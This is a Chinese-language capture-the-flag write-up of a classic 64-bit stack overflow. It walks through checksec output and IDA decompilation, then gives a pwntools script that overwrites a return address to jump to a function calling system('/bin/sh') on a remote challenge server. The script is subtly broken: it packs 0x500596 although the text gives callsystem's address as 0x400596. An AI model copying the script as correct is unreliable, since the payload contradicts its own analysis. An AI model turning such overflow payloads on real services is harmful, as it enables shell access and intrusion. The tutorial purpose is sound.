checksec查看一下信息,发现其开启了NX保护。

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

使用IDA打开,main中只有这几行代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function(1LL, "Hello, World\n");
}

双击vulnerable_function()函数,看到如下代码:

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

这里的rbp是栈基地址寄存器,保存的是当前的栈底地址为0x80,但是可输入的大小为0x200。
双击&buf看到返回地址:
2021-06-28_171430.png

返回地址可以覆盖成callsystem(),地址为0x400596,可命令执行:

int callsystem()
{
  return system("/bin/sh");
}

最终脚本如下:

from pwn import *

p = remote('111.200.241.244',63770)
payload = 'a'*0x80+'a'*0x8+p64(0x500596)
p.sendline(payload)
p.interactive()